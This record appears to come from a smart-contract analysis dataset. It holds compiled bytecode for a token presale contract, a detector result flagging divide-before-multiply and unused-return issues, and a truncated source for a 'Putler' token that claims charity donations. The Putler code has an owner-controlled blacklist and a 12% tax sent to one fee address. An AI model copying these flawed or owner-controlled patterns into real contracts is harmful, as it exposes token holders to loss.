35b6103b6610c4b565b604051808260ff16815260200191505060405180910390f35b61041b600480360360408110156103e557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c62565b60405180821515815260200191505060405180910390f35b61043b610d07565b60405180821515815260200191505060405180910390f35b6104ac6004803603606081101561046957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803560ff169060200190929190505050610d1e565b005b6104f0600480360360208110156104c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611397565b6040518082815260200191505060405180910390f35b6105326004803603602081101561051c57600080fd5b81019080803590602001909291905050506113e0565b005b6105606004803603602081101561054a57600080fd5b81019080803590602001909291905050506115e7565b005b61056a611795565b6040518082815260200191505060405180910390f35b61058861179c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067e600480360360608110156105ca57600080fd5b810190808035906020019092919080359060200190929190803590602001906401000000008111156105fb57600080fd5b82018360208201111561060d57600080fd5b8035906020019184602083028401116401000000008311171561062f57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506117c5565b005b610688611aa3565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106c85780820151818401526020810190506106ad565b50505050905090810190601f1680156106f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61070b611b45565b6040518082815260200191505060405180910390f35b61076d6004803603604081101561073757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611b54565b60405180821515815260200191505060405180910390f35b6107d16004803603604081101561079b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c13565b60405180821515815260200191505060405180910390f35b6107f1611c2a565b6040518082815260200191505060405180910390f35b6108536004803603604081101561081d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611c34565b005b61085d61242e565b6040518082815260200191505060405180910390f35b6108d56004803603604081101561088957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506126dc565b6040518082815260200191505060405180910390f35b6108f3612763565b6040518082815260200191505060405180910390f35b6109356004803603602081101561091f57600080fd5b810190808035906020019092919050505061276d565b005b6109796004803603602081101561094d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506129eb565b005b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a135780601f106109e857610100808354040283529160200191610a13565b820191906000526020600020905b8154815290600101906020018083116109f657829003601f168201915b5050505050905090565b6000610a2a338484612c39565b6001905092915050565b6000600454905090565b600080600660ff168460ff1610610aab57610aa4610a6e6006860360ff16600a0a85612e3090919063ffffffff16565b610a96600760009054906101000a900460ff1660ff16600a0a88612e3090919063ffffffff16565b612eb690919063ffffffff16565b9050610b03565b610b00610aca8560060360ff16600a0a85612eb690919063ffffffff16565b610af2600760009054906101000a900460ff1660ff16600a0a88612e3090919063ffffffff16565b612eb690919063ffffffff16565b90505b600d544210158015610b175750600e544211155b15610b6b57610b378460ff16600a0a6103e8612e3090919063ffffffff16565b8510610b6a57610b68600760009054906101000a900460ff1660ff16600a0a60640282612f0090919063ffffffff16565b505b5b809150509392505050565b6000600e54905090565b6000610b8d848484612f88565b610c408433610c3b8560405180606001604052806028815260200161367d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b612c39565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000610cfd3384610cf885600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0090919063ffffffff16565b612c39565b6001905092915050565b6000600f60009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ddf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600f60009054906101000a900460ff16151514610e68576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f436f6e7472616374206973206e6f7420737461727465642e000000000000000081525060200191505060405180910390fd5b6000600d5411610ee0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f50726573616c65207374617274206e6f7420736574000000000000000000000081525060200191505060405180910390fd5b6000600e5411610f58576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f50726573616c6520656e64206e6f74207365740000000000000000000000000081525060200191505060405180910390fd5b60008160ff1611610fb4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806136546029913960400191505060405180910390fd5b6000821161102a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f537461626c65636f696e2076616c75652063616e6e6f74206265207a65726f2e81525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135026023913960400191505060405180910390fd5b60006110ba61242e565b905060006110ef6110e860646110da606388612e3090919063ffffffff16565b612eb690919063ffffffff16565b8484610a3e565b905080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611189576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260288152602001806134da6028913960400191505060405180910390fd5b6111f5816040518060600160405280602681526020016135ea60269139600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061128a81600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff167f0d1a0d5e3d583a0e92588799dd06e50fd78c07daf05f0cc06d7b848b1ca445f185838560405180848152602001838152602001828152602001935050505060405180910390a28473ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600f60009054906101000a900460ff1615151461152a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f436f6e7472616374206973206e6f7420737461727465642e000000000000000081525060200191505060405180910390fd5b42811015611583576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806137246022913960400191505060405180910390fd5b600d5481116115dd576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806135be602c913960400191505060405180910390fd5b80600d8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600f60009054906101000a900460ff16151514611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f436f6e7472616374206973206e6f7420737461727465642e000000000000000081525060200191505060405180910390fd5b600954421161178b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e81526020018061376f602e913960400191505060405180910390fd5b80600b8190555050565b62093a8081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611886576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60001515600f60009054906101000a900460ff1615151461190f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f436f6e747261637420697320616c726561647920737461727465642e0000000081525060200191505060405180910390fd5b42831015611968576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260308152602001806137ee6030913960400191505060405180910390fd5b428210156119c1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f81526020018061381e602f913960400191505060405180910390fd5b828211611a19576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806136ca6036913960400191505060405180910390fd5b82600881905550816009819055506001600f60006101000a81548160ff02191690831515021790555060005b81518160ff161015611a9d576010828260ff1681518110611a6257fe5b602002602001015190806001815401808255809150506001900390600052602060002001600090919091909150558080600101915050611a45565b50505050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b3b5780601f10611b1057610100808354040283529160200191611b3b565b820191906000526020600020905b815481529060010190602001808311611b1e57829003601f168201915b5050505050905090565b6000611b4f61242e565b905090565b6000611c093384611c04856040518060600160405280602581526020016137c960259139600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b612c39565b6001905092915050565b6000611c20338484612f88565b6001905092915050565b6000600b54905090565b60011515600f60009054906101000a900460ff16151514611cbd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f436f6e7472616374206973206e6f7420737461727465642e000000000000000081525060200191505060405180910390fd5b6000600d5411611d35576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260158152602001807f50726573616c65207374617274206e6f7420736574000000000000000000000081525060200191505060405180910390fd5b6000600e5411611dad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260138152602001807f50726573616c6520656e64206e6f74207365740000000000000000000000000081525060200191505060405180910390fd5b60008111611e23576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f4649582076616c75652063616e6e6f74206265207a65726f2e0000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415611ea9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135026023913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611f2f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806136106023913960400191505060405180910390fd5b611f4e8273ffffffffffffffffffffffffffffffffffffffff166133c8565b611fa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260278152602001806135256027913960400191505060405180910390fd5b600080829050600084905060008173ffffffffffffffffffffffffffffffffffffffff1663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015611ff657600080fd5b505afa15801561200a573d6000803e3d6000fd5b505050506040513d602081101561202057600080fd5b81019080805190602001909291905050509050600061203d61242e565b9050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612112576120b760646120a9606289612e3090919063ffffffff16565b612eb690919063ffffffff16565b93506001600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b85600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156121c7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f496e73756666696369656e742046495820746f6b656e20616d6f756e7400000081525060200191505060405180910390fd5b600c8260ff161061220757612200600c830360ff16600a0a6121f28387612eb690919063ffffffff16565b612e3090919063ffffffff16565b9450612238565b61223582600c0360ff16600a0a6122278387612eb690919063ffffffff16565b612eb690919063ffffffff16565b94505b61228a86600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231f86600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bef90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef886040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff167f6db63bebf1e6540277744df32846ebdb98385b1a73f2d5de49b28348add63f5087878460405180848152602001838152602001828152602001935050505060405180910390a250505050505050565b6000801515600f60009054906101000a900460ff1615151480612452575042600854115b1561246157600c5490506126d9565b600080600c5490506009544211156125b8576124c96010805490506124bb60016124ad62093a8061249f600854600954612bef90919063ffffffff16565b612eb690919063ffffffff16565b612f0090919063ffffffff16565b612bef90919063ffffffff16565b915060005b82811015612522576125136127106125056124f6600a54612710612f0090919063ffffffff16565b85612e3090919063ffffffff16565b612eb690919063ffffffff16565b915080806001019150506124ce565b506000600b5411156125b35761255862093a8061254a60095442612bef90919063ffffffff16565b612eb690919063ffffffff16565b915060005b828110156125b1576125a2612710612594612585600b54612710612f0090919063ffffffff16565b85612e3090919063ffffffff16565b612eb690919063ffffffff16565b9150808060010191505061255d565b505b6126d3565b6125f560016125e762093a806125d960085442612bef90919063ffffffff16565b612eb690919063ffffffff16565b612f0090919063ffffffff16565b915060005b6010805490508160ff1610156126795760085460108260ff168154811061261d57fe5b90600052602060002001541015801561265057504260108260ff168154811061264257fe5b906000526020600020015411155b1561266c57612669600184612bef90919063ffffffff16565b92505b80806001019150506125fa565b5060005b828110156126d1576126c26127106126b46126a5600a54612710612f0090919063ffffffff16565b85612e3090919063ffffffff16565b612eb690919063ffffffff16565b9150808060010191505061267d565b505b80925050505b90565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000600d54905090565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461282e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60011515600f60009054906101000a900460ff161515146128b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f436f6e7472616374206973206e6f7420737461727465642e000000000000000081525060200191505060405180910390fd5b4281101561292d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f456e642074696d65206d757374206265206c617465722c207468616e206e6f7781525060200191505060405180910390fd5b600e548111612987576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613594602a913960400191505060405180910390fd5b600d5481116129e1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c81526020018061379d602c913960400191505060405180910390fd5b80600e8190555050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612aac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612b32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061354c6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000612c3183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250613308565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415612cbf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137006024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612d45576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806135726022913960400191505060405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600080831415612e435760009050612eb0565b6000828402905082848281612e5457fe5b0414612eab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806136336021913960400191505060405180910390fd5b809150505b92915050565b6000612ef883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613413565b905092915050565b600080828401905083811015612f7e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561300e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806136a56025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613094576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806135026023913960400191505060405180910390fd5b61309c61179c565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461315a576130d661179c565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614613159576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806137466029913960400191505060405180910390fd5b5b6131c6816040518060600160405280602681526020016135ea60269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546133089092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061325b81600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f0090919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60008383111582906133b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561337a57808201518184015260208101905061335f565b50505050905090810190601f1680156133a75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f915080821415801561340a57506000801b8214155b92505050919050565b600080831182906134bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015613484578082015181840152602081019050613469565b50505050905090810190601f1680156134b15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816134cb57fe5b04905080915050939250505056fe496e737566666963696e65742046495820616d6f756e74206c656674206f6e20636f6e747261637445524332303a207472616e7366657220746f20746865207a65726f20616464726573734e6f7420612076616c696420737461626c65636f696e20636f6e747261637420616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f20616464726573734e657720656e642074696d65206d75737420626520686967686572207468656e2070726576696f75732e4e65772073746172742074696d65206d75737420626520686967686572207468656e2070726576696f75732e45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e6365537461626c65636f696e206d757374206e6f74206265207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77537461626c65636f696e20646563696d616c73206d75737420626520677261746572207468616e203045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f20616464726573734c617374207072696365207570646174652074696d65206d757374206265206c61746572207468616e2066697273742075706461746545524332303a20617070726f76652066726f6d20746865207a65726f206164647265737353746172742074696d65206d757374206265206c617465722c207468616e206e6f77546f6b656e732063616e2062652073656e74206f6e6c7920746f206f776e657220616464726573732e47726f77746820726174652063616e6e6f74206265206368616e6765642077697468696e203630206d6f6e7468734e657720656e642074696d65206d75737420626520686967686572207468656e20737461727420646174652e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f4669727374207072696365207570646174652074696d65206d757374206265206c61746572207468616e20746f6461794c617374207072696365207570646174652074696d65206d757374206265206c61746572207468616e20746f646179a2646970667358221220d2b87e38a7541399b7ae43c9e74f70b688733da3955d46d44e2f23398c09372964736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,394
0x664e510160db95ba73ae7315542abcfdac12999a
/** *Submitted for verification at Etherscan.io on 2022-02-24 */ /* We stand with Ukraine, 50% of the Tax Generated will be donated to Ukraine Charity, and we will be sending an NFT of Ukraine to Mr Putin aka $Putler, and ask him not to invade Ukraine Support the Cause Telegram: https://t.me/putlerportal 100% STEALTH LAUNCH Initial LP: 2 ETH Max Buy : 2.5% or 25,000,000 Total Supply : 1,000,000,000 Tax : 12% Buy and 10% Sell 2% Reflections 6% Donations to Ukraine Charity 4% Buy Competitions SLippage: 12% + */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract putlertoken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1_000_000_000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; uint256 private _sellTax; uint256 private _buyTax; address payable private _feeAddress; string private constant _name = "Putler"; string private constant _symbol = "Putler"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private removeMaxTx = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddress = payable(0xd89027ecC287F8cF139814C5Dfb74a6Af70df12E); _buyTax = 12; _sellTax = 12; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setremoveMaxTx(bool onoff) external onlyOwner() { removeMaxTx = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) { _feeAddr1 = 0; _feeAddr2 = _buyTax; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && removeMaxTx) { require(amount <= _maxTxAmount); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 0; _feeAddr2 = _sellTax; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress.transfer(amount); } function createPair() external onlyOwner(){ require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = 